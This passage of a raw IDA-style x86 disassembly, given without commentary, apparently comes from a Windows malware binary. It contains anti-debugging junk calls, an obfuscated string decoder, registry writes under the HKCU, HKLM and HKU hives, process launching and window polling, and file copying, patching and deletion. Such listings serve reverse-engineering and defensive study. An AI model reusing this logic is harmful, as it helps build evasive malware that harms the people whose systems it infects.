0 jmp short loc_405620 ; --------------------------------------------------------------------------- loc_4055C7: ; CODE XREF: sub_405559+CEj push 6 push offset dword_447348 call sub_40525E mov [ebp+var_18], eax movzx edi, [ebp+var_2] mov esi, [ebp+arg_0] movzx edi, byte ptr [esi+edi] mov eax, edi mov ecx, 1Ah cdq idiv ecx mov esi, edx add esi, 61h push esi mov eax, edi mov ecx, 1Ah mov edx, 4EC4EC4Fh mul edx shr edx, 3 mov [ebp+var_1C], edx mov edi, edx add edi, 61h push edi mov edi, [ebp+var_C] push edi mov esi, [ebp+var_18] push esi push edi call sub_40C9D4 add esp, 1Ch inc [ebp+var_2] loc_405620: ; CODE XREF: sub_405559+6Cj movzx eax, [ebp+var_2] cmp eax, [ebp+var_8] jb short loc_4055C7 call sub_40C4C4 ; GetCurrentThreadId mov eax, [ebp+var_C] pop edi pop esi pop ebx leave retn sub_405559 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405636 proc near ; CODE XREF: sub_4062A9+16Ap var_30090 = dword ptr -30090h var_3008C = dword ptr -3008Ch var_30088 = dword ptr -30088h var_30084 = dword ptr -30084h var_3007D = byte ptr -3007Dh var_3007A = word ptr -3007Ah var_30078 = dword ptr -30078h var_30074 = dword ptr -30074h var_30070 = dword ptr -30070h var_3006C = dword ptr -3006Ch var_30068 = dword ptr -30068h var_30064 = dword ptr -30064h var_3005D = byte ptr -3005Dh var_3005C = word ptr -3005Ch var_30057 = byte ptr -30057h var_30050 = word ptr -30050h var_3004E = byte ptr -3004Eh var_3004D = byte ptr -3004Dh var_3004C = byte ptr -3004Ch var_30045 = dword ptr -30045h var_30041 = byte ptr -30041h var_30040 = byte ptr -30040h var_30036 = byte ptr -30036h var_3002C = dword ptr -3002Ch var_30025 = byte ptr -30025h var_30024 = dword ptr -30024h var_30020 = dword ptr -30020h var_3001C = dword ptr -3001Ch var_30018 = dword ptr -30018h var_30014 = dword ptr -30014h var_30010 = dword ptr -30010h var_3000C = byte ptr -3000Ch var_2000C = dword ptr -2000Ch var_20008 = dword ptr -20008h var_20003 = byte ptr -20003h var_10004 = dword ptr -10004h var_10000 = byte ptr -10000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 30090h call sub_40C43C push ebx push esi push edi lea edi, [ebp+var_30041] lea esi, byte_4422F4 xor ecx, ecx inc ecx rep movsb and [ebp+var_30020], 0 call sub_40C4E8 ; RtlGetLastWin32Error and [ebp+var_2000C], 0 and [ebp+var_30014], 0 lea eax, [ebp+var_10004] push eax push [ebp+arg_4] call sub_401A43 add esp, 8 mov ebx, eax call sub_40C5D8 ; IsDebuggerPresent mov eax, [ebp+var_10004] or eax, eax jz short loc_40569D or ebx, ebx jz short loc_40569D cmp [ebp+arg_14], eax jb short loc_4056D8 loc_40569D: ; CODE XREF: sub_405636+5Cj ; sub_405636+60j mov [ebp+var_3005D], 19h add [ebp+var_3005D], 41h push ebx call sub_40C608 ; LocalFree mov [ebp+var_3005C], 3D58h movzx eax, [ebp+var_3005C] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_3005C], ax mov [ebp+var_30020], 1 loc_4056D8: ; CODE XREF: sub_405636+65j push [ebp+arg_C] call sub_40C6E0 ; lstrlenA mov [ebp-30060h], eax mov eax, 64h mul [ebp+var_10004] mov [ebp+var_30064], eax mov edi, [ebp-30060h] imul edi, [ebp-30060h], 32h mov esi, [ebp+var_30064] lea edi, [esi+edi+1000h] push edi push 40h call sub_40C5FC ; LocalAlloc mov [ebp+var_20008], eax mov eax, dword_4422F5 mov [ebp+var_30045], eax lea edi, [ebp+var_3004C] lea esi, byte_4422F9 mov ecx, 7 rep movsb push [ebp+arg_0] push 104h call sub_40C53C ; GetTempPathA call sub_40C518 ; GetProcessHeap mov eax, [ebp+arg_0] mov [ebp+var_30068], eax mov ecx, eax or eax, 0FFFFFFFFh loc_40575D: ; CODE XREF: sub_405636+12Cj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40575D mov edi, eax mov esi, 16h sub esi, dword_4422CC push esi mov esi, [ebp+var_30068] add esi, edi push esi call sub_4016D2 add esp, 8 mov [ebp+var_30025], 0CFh add [ebp+var_30025], 0BFh push 4 push offset byte_447343 call sub_40525E add esp, 8 push eax push [ebp+arg_0] call sub_40C9F8 add esp, 8 mov [ebp+var_3002C], 1317h add [ebp+var_3002C], 186Ah push 6 push offset dword_44733C call sub_40525E add esp, 8 push eax push [ebp+var_20008] call sub_404970 add esp, 8 call sub_40C548 ; GetTickCount push 6 push offset byte_447335 call sub_40525E add esp, 8 push eax push [ebp+var_20008] call sub_404970 add esp, 8 call sub_40C5D8 ; IsDebuggerPresent push 13h push offset byte_447321 call sub_40525E add esp, 8 push [ebp+arg_1C] push offset aMicrosoftCorp ; "MicroSoft-Corp" push eax lea edi, [ebp+var_20003] push edi call sub_40C9D4 add esp, 10h lea edi, [ebp+var_3004D] lea esi, byte_442300 mov ecx, 1 rep movsb lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_404970 add esp, 8 push 7 push offset word_44730A call sub_40525E add esp, 8 push eax push [ebp+var_20008] call sub_404970 add esp, 8 lea edi, [ebp+var_3004E] lea esi, byte_442301 mov ecx, 1 rep movsb push 6 push offset byte_447303 call sub_40525E add esp, 8 push eax push [ebp+var_20008] call sub_404970 add esp, 8 call sub_40C554 ; GetVersion mov ax, word_442302 mov [ebp+var_30050], ax push 5 push offset byte_4472FD call sub_40525E add esp, 8 mov [ebp+var_3006C], eax call sub_40C9BC mov ecx, 3E8h cdq idiv ecx push edx mov edi, [ebp+var_3006C] push [ebp+var_3006C] lea edi, [ebp+var_30036] push edi call sub_40C9D4 add esp, 0Ch push 2Ah push offset word_4472D2 call sub_40525E add esp, 8 lea edi, [ebp+var_30036] push edi push [ebp+arg_8] push eax lea edi, [ebp+var_20003] push edi call sub_40C9D4 add esp, 10h lea edi, [ebp+var_30057] lea esi, a8_V9t ; "8_|9t" mov ecx, 7 rep movsb lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_404970 add esp, 8 call sub_40C5D8 ; IsDebuggerPresent push 2Dh push offset dword_4472A4 call sub_40525E add esp, 8 mov [ebp+var_30070], eax call sub_40C9BC mov ecx, 9 cdq idiv ecx mov edi, edx add edi, 14h push edi mov edi, [ebp+var_30070] push [ebp+var_30070] lea edi, [ebp+var_20003] push edi call sub_40C9D4 add esp, 0Ch lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_404970 add esp, 8 call sub_40C4E8 ; RtlGetLastWin32Error cmp [ebp+var_30020], 0 jnz loc_405CC1 cmp [ebp+arg_18], 0 jz loc_405B09 call sub_40C518 ; GetProcessHeap and [ebp+var_30074], 0 jmp loc_405AEC ; --------------------------------------------------------------------------- loc_4059CF: ; CODE XREF: sub_405636+4C2j call sub_40C4B8 ; GetCurrentProcessId mov [ebp+var_10000], 0 call sub_40C4B8 ; GetCurrentProcessId and [ebp+var_30078], 0 jmp loc_405A8E ; --------------------------------------------------------------------------- loc_4059EC: ; CODE XREF: sub_405636+462j lea edi, [ebp+var_3007D] lea esi, aAblx ; "BLX" mov ecx, 5 rep movsb mov eax, [ebp+var_30074] add eax, [ebp+var_30078] cmp eax, [ebp+var_10004] jnb loc_405A9E call sub_40C548 ; GetTickCount push 6 push offset dword_447348 call sub_40525E mov [ebp+var_30084], eax mov edi, [ebp+var_30074] add edi, [ebp+var_30078] movzx edi, byte ptr [ebx+edi] mov eax, edi mov ecx, 1Ah cdq idiv ecx mov esi, edx add esi, 61h push esi mov eax, edi mov ecx, 1Ah mov edx, 4EC4EC4Fh mul edx shr edx, 3 mov [ebp+var_30088], edx mov edi, edx add edi, 61h push edi lea edi, [ebp+var_10000] push edi mov edi, [ebp+var_30084] push edi lea edi, [ebp+var_10000] push edi call sub_40C9D4 add esp, 1Ch inc [ebp+var_30078] loc_405A8E: ; CODE XREF: sub_405636+3B1j cmp [ebp+var_30078], 80h jb loc_4059EC loc_405A9E: ; CODE XREF: sub_405636+3DBj push 30h push offset byte_447273 call sub_40525E push [ebp+var_2000C] push [ebp+arg_10] lea edi, [ebp+var_10000] push edi push eax lea edi, [ebp+var_20003] push edi call sub_40C9D4 lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_404970 add esp, 24h add [ebp+var_30074], 80h inc [ebp+var_2000C] loc_405AEC: ; CODE XREF: sub_405636+394j mov eax, [ebp+var_10004] cmp [ebp+var_30074], eax jb loc_4059CF mov [ebp+var_30014], eax jmp loc_405CC1 ; --------------------------------------------------------------------------- loc_405B09: ; CODE XREF: sub_405636+382j lea edi, [ebp+var_30078+1] lea esi, aYeqbi ; " YeQI" mov ecx, 7 rep movsb mov eax, [ebp+arg_14] mov [ebp+var_10004], eax jmp loc_405C9D ; --------------------------------------------------------------------------- loc_405B2A: ; CODE XREF: sub_405636+685j mov [ebp+var_3007A], 7627h movzx eax, [ebp+var_3007A] imul eax, 1668h mov [ebp+var_3007A], ax cmp [ebp+var_10000], 0 jz loc_405C9D mov eax, dword_442317 mov [ebp+var_3008C], eax mov eax, [ebp+arg_14] add eax, 0C800h cmp [ebp+var_10004], eax jnb loc_405CC1 call sub_40C518 ; GetProcessHeap mov eax, [ebp+var_10004] mov [ebp+var_30014], eax push 3 push offset byte_44726F call sub_40525E push [ebp+arg_C] push eax lea edi, [ebp+var_3000C] push edi call sub_40C9D4 add esp, 14h mov dword ptr [ebp-30080h], 53C3h sub dword ptr [ebp-30080h], 51DCh lea ecx, [ebp+var_3000C] or eax, 0FFFFFFFFh loc_405BC0: ; CODE XREF: sub_405636+58Fj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_405BC0 mov edi, eax mov word ptr [ebp+var_30088], di call sub_40C4C4 ; GetCurrentThreadId lea eax, [ebp+var_10000] push eax movzx eax, word ptr [ebp+var_30088] lea eax, [ebp+eax+var_3000C] push eax call sub_40C45C call sub_40C4B8 ; GetCurrentProcessId lea eax, [ebp+var_3000C] push eax call sub_405559 add esp, 4 mov [ebp+var_30010], eax mov [ebp+var_30084], 51C9h mov eax, 3C12h mul [ebp+var_30084] mov [ebp+var_30090], eax mov eax, [ebp+var_30090] mov [ebp+var_30084], eax push 30h push offset byte_447273 call sub_40525E add esp, 8 push [ebp+var_2000C] push [ebp+arg_10] push [ebp+var_30010] push eax lea edi, [ebp+var_20003] push edi call sub_40C9D4 add esp, 14h mov byte ptr [ebp+var_30088+3], 0B9h sub byte ptr [ebp+var_30088+3], 65h lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_404970 add esp, 8 call sub_40C4C4 ; GetCurrentThreadId push [ebp+var_30010] call sub_40C608 ; LocalFree call sub_40C4B8 ; GetCurrentProcessId inc [ebp+var_2000C] loc_405C9D: ; CODE XREF: sub_405636+4EFj ; sub_405636+518j lea eax, [ebp+var_10000] push eax push [ebp+var_10004] push ebx call sub_401B83 add esp, 0Ch mov [ebp+var_10004], eax or eax, eax jnz loc_405B2A loc_405CC1: ; CODE XREF: sub_405636+378j ; sub_405636+4CEj ... push 1Eh push offset dword_447250 call sub_40525E push eax push [ebp+var_20008] call sub_404970 call sub_40C554 ; GetVersion push 7 push offset dword_447248 call sub_40525E push eax push [ebp+var_20008] call sub_404970 call sub_40C518 ; GetProcessHeap push 8 push offset byte_44723F call sub_40525E push eax push [ebp+var_20008] call sub_404657 call sub_40C4C4 ; GetCurrentThreadId push 6 push offset dword_447238 call sub_40525E mov [ebp+var_30074], eax call sub_40C9BC mov [ebp+var_30078], eax call sub_40C9BC mov ecx, 63h cdq idiv ecx push edx mov edi, [ebp+var_30078] mov eax, edi mov ecx, 14h cdq idiv ecx mov edi, edx add edi, 61h push edi mov edi, [ebp+var_30074] push edi lea edi, [ebp+var_30040] push edi call sub_40C9D4 push 0Eh push offset byte_447229 call sub_40525E lea edi, [ebp+var_30040] push edi push eax lea edi, [ebp+var_20003] push edi call sub_40C9D4 call sub_40C5D8 ; IsDebuggerPresent lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_404657 push 15h push offset byte_447213 call sub_40525E lea edi, [ebp+var_30036] push edi push eax lea edi, [ebp+var_20003] push edi call sub_40C9D4 call sub_40C4C4 ; GetCurrentThreadId lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_404657 call sub_40C4B8 ; GetCurrentProcessId push 1 push offset byte_447211 call sub_40525E push eax push [ebp+var_20008] call sub_404657 mov [ebp+var_30018], 17D8h mov eax, [ebp+var_30018] mov edx, eax add edx, eax mov [ebp+var_30018], edx push 16h push offset word_4471FA call sub_40525E mov [ebp-3007Ch], eax call sub_40C9BC mov ecx, 3E8h cdq idiv ecx mov edi, edx add edi, 2710h push edi lea edi, [ebp+var_30040] push edi mov edi, [ebp-3007Ch] push edi lea edi, [ebp+var_20003] push edi call sub_40C9D4 mov [ebp+var_3001C], 35CBh mov eax, [ebp+var_3001C] mov edx, eax add edx, eax mov [ebp+var_3001C], edx lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_404657 push 9 push offset dword_4471F0 call sub_40525E push eax push [ebp+var_20008] call sub_404970 call sub_40C4C4 ; GetCurrentThreadId push 7 push offset dword_4471E8 call sub_40525E push eax push [ebp+var_20008] call sub_404970 call sub_40C548 ; GetTickCount push 7 push offset dword_4471E0 call sub_40525E push eax push [ebp+var_20008] call sub_40C9F8 push [ebp+arg_0] call sub_4034C6 add esp, 0E4h call sub_40C554 ; GetVersion push 0 push 0 push 2 push 0 push 0 push 40000000h push [ebp+arg_0] call sub_40C650 ; CreateFileA mov [ebp+var_30024], eax push [ebp+var_20008] call sub_40C6E0 ; lstrlenA push 0 lea edi, [ebp+var_2000C] push edi push eax push [ebp+var_20008] push [ebp+var_30024] call sub_40C6C8 ; WriteFile push [ebp+var_30024] call sub_40C530 ; CloseHandle push [ebp+var_20008] call sub_40C608 ; LocalFree cmp [ebp+var_30020], 0 jnz short loc_405F4E push ebx call sub_40C608 ; LocalFree jmp short loc_405F53 ; --------------------------------------------------------------------------- loc_405F4E: ; CODE XREF: sub_405636+90Ej or eax, 0FFFFFFFFh jmp short loc_405F59 ; --------------------------------------------------------------------------- loc_405F53: ; CODE XREF: sub_405636+916j mov eax, [ebp+var_30014] loc_405F59: ; CODE XREF: sub_405636+91Bj pop edi pop esi pop ebx leave retn sub_405636 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F5E proc near ; CODE XREF: sub_4062A9:loc_4063C7p var_211F = byte ptr -211Fh var_211E = byte ptr -211Eh var_111F = byte ptr -111Fh var_128 = dword ptr -128h var_122 = dword ptr -122h var_11D = byte ptr -11Dh var_11C = dword ptr -11Ch var_117 = byte ptr -117h var_112 = byte ptr -112h var_10A = word ptr -10Ah var_108 = dword ptr -108h var_101 = byte ptr -101h var_100 = byte ptr -100h push ebp mov ebp, esp mov eax, 2120h call sub_40C43C push ebx push esi push edi call sub_40C518 ; GetProcessHeap lea edi, [ebp+var_112] lea esi, aB@wfed0 ; "@WFed0" movsd movsd lea edi, [ebp+var_117] lea esi, aKPo ; "k`Po" mov ecx, 5 rep movsb and [ebp+var_108], 0 mov [ebp+var_101], 0 jmp loc_4060F4 ; --------------------------------------------------------------------------- loc_405FA7: ; CODE XREF: sub_405F5E+19Ej call sub_40C554 ; GetVersion push 44h push offset a5 ; ":&/=>(;,5$" call sub_40525E movzx edi, [ebp+var_101] push edi push eax lea edi, [ebp+var_100] push edi call sub_40C9D4 call sub_40C4C4 ; GetCurrentThreadId push 4 push offset aX_yx ; "X_YX" call sub_40525E push 4 push 4 lea edi, [ebp+var_108] push edi push eax lea edi, [ebp+var_100] push edi push 80000001h call sub_4015B0 call sub_40C4C4 ; GetCurrentThreadId push 4 push offset aX_yx ; "X_YX" call sub_40525E push 4 push 4 lea edi, [ebp+var_108] push edi push eax lea edi, [ebp+var_100] push edi push 80000002h call sub_4015B0 mov eax, dword_442328 mov [ebp+var_122+1], eax push 4Dh push offset dword_447148 call sub_40525E movzx edi, [ebp+var_101] push edi push eax lea edi, [ebp+var_100] push edi call sub_40C9D4 mov [ebp+var_11C], 178Ch mov eax, 5729h mul [ebp+var_11C] mov [ebp+var_128], eax mov [ebp+var_11C], eax push 4 push offset aX_yx ; "X_YX" call sub_40525E push 4 push 4 lea edi, [ebp+var_108] push edi push eax lea edi, [ebp+var_100] push edi push 80000002h call sub_4015B0 mov [ebp+var_11D], 0C4h movzx eax, [ebp+var_11D] imul eax, 67FBh mov [ebp+var_11D], al push 4 push offset aX_yx ; "X_YX" call sub_40525E push 4 push 4 lea edi, [ebp+var_108] push edi push eax lea edi, [ebp+var_100] push edi push 80000001h call sub_4015B0 add esp, 0A8h call sub_40C4E8 ; RtlGetLastWin32Error add [ebp+var_101], 1 loc_4060F4: ; CODE XREF: sub_405F5E+44j mov al, [ebp+var_101] cmp al, 5 jb loc_405FA7 call sub_40C554 ; GetVersion cmp eax, 80000000h jb short loc_406172 call sub_40C4C4 ; GetCurrentThreadId push 4Ch push offset aG55 ; "G-,/(<%=5:&/=>(;,5$" call sub_40525E mov [ebp+var_11C], eax push 10h push offset word_4470EA call sub_40525E mov [ebp+var_122+2], eax push 3 push offset word_4470E6 call sub_40525E push 1 mov edi, 12h sub edi, dword_4422CC push edi push eax mov edi, [ebp+var_122+2] push edi mov edi, [ebp+var_11C] push edi push 80000003h call sub_4015B0 add esp, 30h jmp loc_406201 ; --------------------------------------------------------------------------- loc_406172: ; CODE XREF: sub_405F5E+1AEj call sub_40C5D8 ; IsDebuggerPresent lea edi, [ebp+var_211F] lea esi, byte_44232C xor ecx, ecx inc ecx rep movsb lea eax, [ebp+var_111F] push eax call sub_4051C3 call sub_40C4B8 ; GetCurrentProcessId push 59h push offset dword_44708C call sub_40525E lea edi, [ebp+var_111F] push edi push eax lea edi, [ebp+var_211E] push edi call sub_40C9D4 mov word ptr [ebp+var_11C+2], 2DF5h inc word ptr [ebp+var_11C+2] and [ebp+var_122+2], 0 push 0Ch push offset byte_44707F call sub_40525E push 4 push 4 lea edi, [ebp+var_122+2] push edi push eax lea edi, [ebp+var_211E] push edi push 80000003h call sub_4015B0 add esp, 38h call sub_40C518 ; GetProcessHeap loc_406201: ; CODE XREF: sub_405F5E+20Fj push 3Bh push offset byte_447043 call sub_40525E mov [ebp+var_11C], eax push 11h push offset byte_447031 call sub_40525E push 4 push 4 lea edi, [ebp+var_108] push edi push eax mov edi, [ebp+var_11C] push edi push 80000001h call sub_4015B0 push 33h push offset byte_446FFD call sub_40525E push 1 push 0 push offset byte_4474F5 push offset byte_4474F5 push eax push 80000001h call sub_4015B0 mov [ebp+var_10A], 46A3h inc [ebp+var_10A] push 3Bh push offset byte_446FC1 call sub_40525E push 1 push 0 push offset byte_4474F5 push offset byte_4474F5 push eax push 80000001h call sub_4015B0 add esp, 68h mov ebx, 0B22h sub ebx, 2C16h pop edi pop esi pop ebx leave retn sub_405F5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4062A9 proc near ; CODE XREF: sub_409883+236p ; sub_409883+570p ... var_3C2 = word ptr -3C2h var_3C0 = dword ptr -3C0h var_3BC = dword ptr -3BCh var_3B8 = dword ptr -3B8h var_3B2 = byte ptr -3B2h var_2AE = byte ptr -2AEh var_2A9 = byte ptr -2A9h var_2A8 = byte ptr -2A8h var_2A6 = byte ptr -2A6h var_2A2 = word ptr -2A2h var_2A0 = dword ptr -2A0h var_29B = byte ptr -29Bh var_293 = word ptr -293h var_291 = dword ptr -291h var_28D = byte ptr -28Dh var_28C = byte ptr -28Ch var_288 = word ptr -288h var_286 = byte ptr -286h var_27F = byte ptr -27Fh var_278 = dword ptr -278h var_274 = dword ptr -274h var_270 = dword ptr -270h var_26C = dword ptr -26Ch var_267 = byte ptr -267h var_266 = word ptr -266h var_264 = dword ptr -264h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_250 = byte ptr -250h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_11C = dword ptr -11Ch var_118 = word ptr -118h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 3C4h push ebx push esi push edi lea edi, [ebp+var_27F] lea esi, aLO5 ; "L-o-5 " mov ecx, 7 rep movsb and [ebp+var_14C], 0 call sub_40C4E8 ; RtlGetLastWin32Error xor ebx, ebx lea edi, [ebp+var_286] lea esi, aYvlszz ; "yvlSzz" mov ecx, 7 rep movsb push offset dword_4422D4 call sub_40C5B4 ; InterlockedIncrement mov [ebp+var_26C], eax mov ax, word_44233B mov [ebp+var_288], ax push 10h push 0 lea eax, [ebp+var_260] push eax call sub_40C9A4 mov [ebp+var_264], 6A70h sub [ebp+var_264], 206Eh mov [ebp+var_270], 104h call sub_40C5D8 ; IsDebuggerPresent push 21h push offset byte_446F9F call sub_40525E mov [ebp+var_2A0], eax push 4 push offset word_446F9A call sub_40525E lea edi, [ebp+var_28C] push edi lea edi, [ebp+var_270] push edi lea edi, [ebp+var_250] push edi push eax mov edi, [ebp+var_2A0] push edi push 80000002h call sub_401490 add esp, 34h mov [ebp+var_274], eax lea edi, [ebp+var_28D] lea esi, byte_44233D xor ecx, ecx inc ecx rep movsb cmp [ebp+var_274], 0 jnz short loc_4063C7 mov [ebp+var_2A2], 3E4Eh add [ebp+var_2A2], 2666h push [ebp+arg_0] call sub_40C608 ; LocalFree call sub_40C548 ; GetTickCount xor eax, eax jmp loc_406849 ; --------------------------------------------------------------------------- loc_4063C7: ; CODE XREF: sub_4062A9+F6j call sub_405F5E call sub_40C518 ; GetProcessHeap push 104h lea eax, [ebp+var_104] push eax lea eax, [ebp+var_250] push eax call sub_40C4A0 ; ExpandEnvironmentStringsA mov eax, dword_44233E mov [ebp+var_291], eax push [ebp+var_26C] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_250] push eax call sub_405636 add esp, 20h mov [ebp+var_14C], eax cmp [ebp+arg_1C], 0 jz short loc_40643F cmp eax, 0FFFFFFFFh jz short loc_406439 mov eax, [ebp+arg_1C] mov edx, [ebp+var_14C] mov [eax], edx jmp short loc_40643F ; --------------------------------------------------------------------------- loc_406439: ; CODE XREF: sub_4062A9+181j mov eax, [ebp+arg_1C] and dword ptr [eax], 0 loc_40643F: ; CODE XREF: sub_4062A9+17Cj ; sub_4062A9+18Ej cmp [ebp+var_14C], 0 jnz short loc_406474 mov [ebp+var_2A2], 4C24h movzx eax, [ebp+var_2A2] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_2A2], ax push [ebp+arg_0] call sub_40C608 ; LocalFree xor eax, eax jmp loc_406849 ; --------------------------------------------------------------------------- loc_406474: ; CODE XREF: sub_4062A9+19Dj push 0Eh push offset byte_446F8B call sub_40525E push eax lea edi, [ebp+var_104] push edi call sub_40C9F8 call sub_40C5D8 ; IsDebuggerPresent lea eax, [ebp+var_250] push eax lea eax, [ebp+var_104] push eax call sub_40C9F8 mov ax, word_442342 mov [ebp+var_293], ax call sub_404502 mov [ebp+var_278], eax call sub_40C4B8 ; GetCurrentProcessId push 44h push 0 lea eax, [ebp+var_148] push eax call sub_40C9A4 call sub_40C4E8 ; RtlGetLastWin32Error push 44h push 0 lea eax, [ebp+var_148] push eax call sub_40C9A4 add esp, 30h call sub_40C518 ; GetProcessHeap mov [ebp+var_148], 44h mov [ebp+var_266], 1B87h movzx eax, [ebp+var_266] imul eax, 4752h mov [ebp+var_266], ax mov [ebp+var_11C], 1 mov [ebp+var_118], 1 cmp [ebp+var_278], 0 jz short loc_406541 lea eax, [ebp+var_148] push eax call sub_404590 pop ecx jmp short loc_40654A ; --------------------------------------------------------------------------- loc_406541: ; CODE XREF: sub_4062A9+287j mov [ebp+var_118], 0 loc_40654A: ; CODE XREF: sub_4062A9+296j lea eax, [ebp+var_260] push eax lea eax, [ebp+var_148] push eax push 0 push 0 push 20h push 0 push 0 push 0 lea eax, [ebp+var_104] push eax push 0 call sub_40C6F8 ; CreateProcessA or eax, eax jz loc_4067D5 call sub_40C4B8 ; GetCurrentProcessId push [ebp+var_25C] call sub_40C530 ; CloseHandle call sub_40C4C4 ; GetCurrentThreadId push 22h push offset dword_446F68 call sub_40525E push [ebp+var_26C] push offset aMicrosoftCorp ; "MicroSoft-Corp" push eax lea edi, [ebp+var_104] push edi call sub_40C9D4 add esp, 18h mov byte ptr [ebp+var_2A2+1], 0 jmp short loc_406623 ; --------------------------------------------------------------------------- loc_4065BF: ; CODE XREF: sub_4062A9+382j lea edi, [ebp+var_2A9] lea esi, aXsc ; "-<xSc " mov ecx, 7 rep movsb push 7 push offset dword_446F60 call sub_40525E add esp, 8 lea edi, [ebp+var_104] push edi push eax call sub_40C734 ; FindWindowA mov ebx, eax call sub_40C548 ; GetTickCount or ebx, ebx jnz short loc_40662D mov byte ptr [ebp+var_2A2], 93h add byte ptr [ebp+var_2A2], 9Fh mov eax, dword_4422CC add eax, 3DAh push eax call sub_40C674 ; Sleep call sub_40C5D8 ; IsDebuggerPresent add byte ptr [ebp+var_2A2+1], 1 loc_406623: ; CODE XREF: sub_4062A9+314j mov al, byte ptr [ebp+var_2A2+1] cmp al, 0Ah jb short loc_4065BF loc_40662D: ; CODE XREF: sub_4062A9+34Ej or ebx, ebx jz loc_4067BE call sub_40C4C4 ; GetCurrentThreadId push 0EA60h call sub_40C674 ; Sleep lea edi, [ebp+var_2A6] lea esi, aAD ; "A&$D" mov ecx, 5 rep movsb push 104h lea eax, [ebp+var_104] push eax push ebx call sub_40C71C ; GetWindowTextA call sub_40C4E8 ; RtlGetLastWin32Error mov eax, 3 sub eax, dword_4422C8 push eax push offset aXOkrecv11 ; "X-okRecv11" lea eax, [ebp+var_104] push eax call sub_4017D2 add esp, 0Ch cmp eax, 0FFFFh jz loc_4067B0 call sub_40C4B8 ; GetCurrentProcessId lea edi, [ebp+var_2AE] lea esi, a24f ; "% 24f^$" movsd movsd lea eax, [ebp+var_3B2] push eax push [ebp+arg_4] call sub_40538B add esp, 8 or eax, eax jz loc_40679F mov [ebp+var_3B8], 42F8h inc [ebp+var_3B8] push 0 push [ebp+arg_8] lea eax, [ebp+var_3B2] push eax call sub_40C5F0 ; CopyFileA mov [ebp+var_3BC], 6540h inc [ebp+var_3BC] lea eax, [ebp+var_14C] push eax push [ebp+arg_8] call sub_401A43 mov [ebp+var_3C0], eax mov ax, word_442358 mov [ebp+var_3C2], ax push [ebp+arg_8] call sub_40C488 ; DeleteFileA push offset aHtml ; "<HTML><!--" call sub_40C6E0 ; lstrlenA push eax push offset aHtml ; "<HTML><!--" push [ebp+var_3C0] call sub_40CA10 add esp, 14h or eax, eax jnz short loc_40676D push offset aHtml ; "<HTML><!--" call sub_40C6E0 ; lstrlenA mov edi, [ebp+var_14C] sub edi, 3Ah push edi mov edi, eax add edi, [ebp+var_3C0] push edi push [ebp+arg_8] call sub_4052F4 add esp, 0Ch jmp short loc_406788 ; --------------------------------------------------------------------------- loc_40676D: ; CODE XREF: sub_4062A9+498j mov eax, [ebp+var_14C] sub eax, 40h push eax push [ebp+var_3C0] push [ebp+arg_8] call sub_4052F4 add esp, 0Ch loc_406788: ; CODE XREF: sub_4062A9+4C2j push [ebp+var_3C0] call sub_40C608 ; LocalFree mov [ebp+var_14C], 2 jmp short loc_4067EA ; --------------------------------------------------------------------------- loc_40679F: ; CODE XREF: sub_4062A9+417j call sub_40C5D8 ; IsDebuggerPresent mov [ebp+var_14C], 1 jmp short loc_4067EA ; --------------------------------------------------------------------------- loc_4067B0: ; CODE XREF: sub_4062A9+3EAj call sub_40C4B8 ; GetCurrentProcessId and [ebp+var_14C], 0 jmp short loc_4067EA ; --------------------------------------------------------------------------- loc_4067BE: ; CODE XREF: sub_4062A9+386j mov byte ptr [ebp+var_2A2], 7Bh add byte ptr [ebp+var_2A2], 1 and [ebp+var_14C], 0 jmp short loc_4067EA ; --------------------------------------------------------------------------- loc_4067D5: ; CODE XREF: sub_4062A9+2CBj lea edi, [ebp+var_2A8] lea esi, aXvsRw ; "|xs&RW" movsd movsd and [ebp+var_14C], 0 loc_4067EA: ; CODE XREF: sub_4062A9+4F4j ; sub_4062A9+505j ... lea eax, [ebp+var_250] push eax call sub_40C488 ; DeleteFileA push [ebp+arg_0] call sub_40C608 ; LocalFree lea edi, [ebp+var_29B] lea esi, word_442362 movsd movsd push 0 push [ebp+var_260] call sub_40C680 ; TerminateProcess mov [ebp+var_267], 0CBh movzx eax, [ebp+var_267] imul eax, 5F1h mov [ebp+var_267], al push [ebp+var_260] call sub_40C530 ; CloseHandle call sub_40C5D8 ; IsDebuggerPresent mov eax, [ebp+var_14C] loc_406849: ; CODE XREF: sub_4062A9+119j ; sub_4062A9+1C6j pop edi pop esi pop ebx leave retn sub_4062A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40684E proc near ; CODE XREF: sub_406A35+B0p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+arg_4] mov [ebp+var_4], 36Eh push esi push [ebp+arg_0] mov eax, dword_442374 lea eax, ds:41C910h[eax] push eax call sub_40C998 add esp, 0Ch xor edi, edi jmp short loc_406894 ; 